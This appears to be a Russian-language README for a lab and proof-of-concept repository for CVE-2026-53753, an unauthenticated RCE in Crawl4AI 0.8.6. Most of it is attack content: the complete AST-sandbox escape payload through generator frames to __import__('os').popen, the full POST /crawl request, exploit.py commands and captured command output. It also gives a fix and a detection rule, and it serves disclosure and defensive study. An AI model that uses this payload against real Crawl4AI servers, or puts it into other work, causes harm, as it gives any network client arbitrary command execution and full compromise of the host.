
CVE-2026-53753 — Crawl4AI <0.8.7 неаутентифицированное RCE (побег из песочницы AST через gi_frame.f_back). Лаборатория + PoC, подтверждено e2e.
Предварительная аутентификация RCE в Crawl4AI
< 0.8.7. Сформированная схемаJsonCssExtractionStrategy, отправленная на неаутентифицированныйPOST /crawlendpoint, достигает вычислителя вычисляемых полей (_safe_eval_expression), обходит его белый список AST через объекты фреймов Python, достигает реальногоbuiltins, и выполняет__import__('os').popen(<cmd>).read()— возвращая вывод команды внутри полосы в JSON-ответе.
| CVE | CVE-2026-53753 |
| Advisory | GHSA-qxjp-w3pj-48m7 |
| Затронуто | Crawl4AI <= 0.8.6 |
| Исправлено | 0.8.7 |
| Класс | CWE-94 (Code Injection) / обход песочницы Python |
| CVSS 3.1 | 9.8 — AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| Аутентификация | Нет — поставляемая конфигурация имеет jwt_enabled: false |
| Статус | ПОДТВЕРЖДЕНО — воспроизведено от начала до конца на официальном образе unclecode/crawl4ai:0.8.6 |
Подробное погружение: см.
ANALYSIS.mdдля пошагового обхода AST, стека фреймов во время выполнения, потока данных запроса и diff исправления.
crawl4ai/extraction_strategy.py позволяет схеме извлечения определять вычисляемые
поля — небольшие выражения Python, вычисляемые для каждого извлеченного элемента. Они выполняются
_safe_eval_expression(), которая пытается поместить выражение в песочницу с помощью
белого списка AST и урезанного __builtins__:
# crawl4ai/extraction_strategy.py (v0.8.6)
for node in ast.walk(tree):
if isinstance(node, (ast.Import, ast.ImportFrom)):
raise ValueError("Import statements are not allowed in expressions")
# Блокировка доступа к атрибутам с подчеркиванием, например __class__, __globals__
if isinstance(node, ast.Attribute) and node.attr.startswith("_"):
raise ValueError(f"Access to private/dunder attribute '{node.attr}' is not allowed")
if isinstance(node, ast.Call):
func = node.func
if isinstance(func, ast.Name) and func.id.startswith("_"):
raise ValueError(...)
if isinstance(func, ast.Attribute) and func.attr.startswith("_"):
raise ValueError(...)
safe_globals = {"__builtins__": _SAFE_EVAL_BUILTINS} # нет __import__, нет eval, нет open
return eval(compile(tree, "<expression>", "eval"), safe_globals, local_vars)
Валидатор — запрет по префиксу: он отвергает только имена, которые начинаются с _
(плюс import). Эта единственная эвристика и есть вся песочница — и у нее есть три
дыры, которые в сочетании дают полный обход:
Схема достигает этой функции без аутентификации: Docker API поставляется
с security.jwt_enabled: false, поэтому зависимость токена /crawl — lambda: None.
Выражение вычисляемого поля:
(lambda: (
(g := (g.gi_frame.f_back.f_back.f_back.f_builtins['__import__'](https://github.com/biitts/cve-2026-53753-crawl4ai-rce/blob/HEAD/%27os%27).popen('id').read()
for i in [1])),
list(g)
)[-1])()
Разбор по частям:
Поскольку значение генератора — это os.popen(cmd).read(), stdout команды становится значением поля и отражается в ответе /crawl — внутренний оракул, OAST не нужен.
Пока list(g) перебирает генератор, стек вызовов выглядит так:
frame: _safe_eval_expression() <-- реальные builtins (__import__ живёт здесь) ← f_back ×3
└ frame: <expression> (eval) <-- песочница builtins (_SAFE_EVAL_BUILTINS) ← f_back ×2
└ frame: <lambda> <-- песочница ← f_back ×1
└ frame: <genexpr> g <-- ВЫПОЛНЯЕТСЯ; g.gi_frame — это фрейм ← gi_frame
g.gi_frame.f_back заполняется только пока генератор выполняется (именно поэтому
генератор должен ссылаться сам на себя и запускаться через list(g) —
незапущенный генератор имеет f_back is None). Проход по f_back три раза
попадает на фрейм _safe_eval_expression, чей f_builtins — это полный модуль
встроенных функций — из которого __import__ извлекается через subscript.
Глубина фрейма стабильна для этого пути кода:
f_back × 3корректно для Crawl4AI 0.8.6_safe_eval_expression.
Официальный образ содержит уязвимую конфигурацию по умолчанию (без аутентификации):
# Вариант A — docker compose (обычный хост Docker с bridge-сетью)
docker compose -f lab/docker-compose.yml up -d
# Вариант B — простой docker run
docker run -d --name crawl4ai-vuln -p 11235:11235 --shm-size=1g unclecode/crawl4ai:0.8.6
Подождите ~20 секунд, пока прогреется пул браузеров (docker logs crawl4ai-vuln →
Application startup complete).
# Просмотр тела запроса без отправки:
python3 exploit.py http://127.0.0.1:11235 -c "id" --print-payload
# Запуск (stdout команды возвращается в ответе):
python3 exploit.py http://127.0.0.1:11235 -c "id; uname -a; cat /etc/os-release | head -1"
exploit.py использует только стандартную библиотеку Python — никаких зависимостей.
[*] POST http://127.0.0.1:11235/crawl (cmd: 'id; uname -a; ...', no auth)
[*] HTTP 200
{"success":true,"results":[{ ... "extracted_content":"[
{
\"out\": [
\"uid=999(appuser) gid=999(appuser) groups=999(appuser)
appuser
Linux ... x86_64 GNU/Linux
PRETTY_NAME=\"Debian GNU/Linux 12 (bookworm)\"
\"
]
}
]" ...
Поле out — это живое состояние ОС (вывод id, uname, os-release контейнера),
не эхо запроса — uid=999(appuser) — это сервисная учетная запись контейнера,
доказывающая выполнение кода внутри хоста Crawl4AI. Уникальный echo <marker>
отражается дословно, подтверждая, что команда действительно выполнилась.
POST /crawl HTTP/1.1
Host: 127.0.0.1:11235
Content-Type: application/json
{"urls":["raw://<html><body><div id='x'>hi</div></body></html>"],
"crawler_config":{"type":"CrawlerRunConfig","params":{"extraction_strategy":
{"type":"JsonCssExtractionStrategy","params":{"schema":{"name":"pwn","baseSelector":"div",
"fields":[{"name":"out","type":"computed","expression":"<PAYLOAD FROM §2>"}]}}}}}}
raw://… делает запрос самодостаточным — не требуется исходящая выборка; атакующий
предоставляет HTML встроенным образом.baseSelector: "div" просто должен соответствовать элементу, чтобы вычисляемое поле
было оценено. Для реальной цели краулинга используйте любой селектор, соответствующий странице.Любой клиент, имеющий сетевой доступ, выполняет произвольные команды ОС на хосте Crawl4AI без аутентификации в конфигурации по умолчанию — полный компрометация сервера и переход на любые внутренние ресурсы, к которым он имеет доступ.
_safe_eval_expression; ключ
вычисляемого поля expression отключен — вместо этого используйте ключ function
с проверенным вызываемым объектом Python).jwt_enabled: true + api_token) и никогда не
открывайте API Crawl4AI для ненадежных сетей.Отмечайте тела POST /crawl (и /crawl/stream), содержащие gi_frame, f_back,
f_builtins или любое computed поле с ключом expression.
| # | Дыра | Почему это важно |
|---|
| 1 | gi_frame, f_back, f_builtins не начинаются с _ | Доступна вся поверхность интроспекции фреймов/генераторов Python. |
| 2 | obj['__import__'] — это ast.Subscript, не ast.Attribute | Валидатор никогда не проверяет ключи словарного subscript, поэтому ключ __import__ проходит. |
| 3 | Цепочка f_back работающего генератора ведет к внешнему фрейму, чей f_builtins — это реальный builtins | Обходит урезанный _SAFE_EVAL_BUILTINS обратно к полному (__import__ и т.д.). |
| Фрагмент | Роль | Почему валидатор разрешает |
|---|
(lambda: ... )() | Создает область видимости функции, чтобы имя, связанное с walrus, жило в замыкающей ячейке. | ast.Lambda не проверяется. |
g := ( <expr> for i in [1]) | Привязывает генератор к g и тело генератора ссылается на g (самого себя). | := и выражения-генераторы не проверяются. (Walrus запрещён в итерабельной части генератора, поэтому помещен в элемент кортежа.) |
list(g) | Запускает генератор — чтобы его фрейм был активен при выполнении тела. | list есть в безопасных встроенных модулях. |
g.gi_frame | Объект фрейма генератора. | gi_frame не начинается с _. |
.f_back.f_back.f_back | Поднимается вверх на три фрейма до того, у которого есть реальные встроенные модули. | f_back не начинается с _. |
.f_builtins | Словарь встроенных модулей этого фрейма (реальный). | f_builtins не начинается с _. |
['__import__'] | Извлекает __import__ из словаря встроенных модулей. | Subscript словаря — не проверяется. |
('os') | __import__('os') → модуль os. | Цель вызова — Subscript, не Name/Attribute. |
.popen('id').read() | Выполняет команду и возвращает её stdout. | popen/read не начинаются с _. |
| Симптом | Причина / исправление |
|---|
Connection refused на :11235 | Контейнер еще прогревается, или ваш Docker-демон не имеет рабочей сети bridge. Подождите Application startup complete; если привязка порта не работает, запустите контейнер с --network host. |
out — null | Базовый селектор не совпал ни с одним элементом — убедитесь, что HTML в raw:// содержит <div> (или измените baseSelector). |
| Работает на 0.8.6, но не на 0.8.7 | Ожидаемо — 0.8.7 удаляет _safe_eval_expression и полностью отключает ключ expression (исправление). |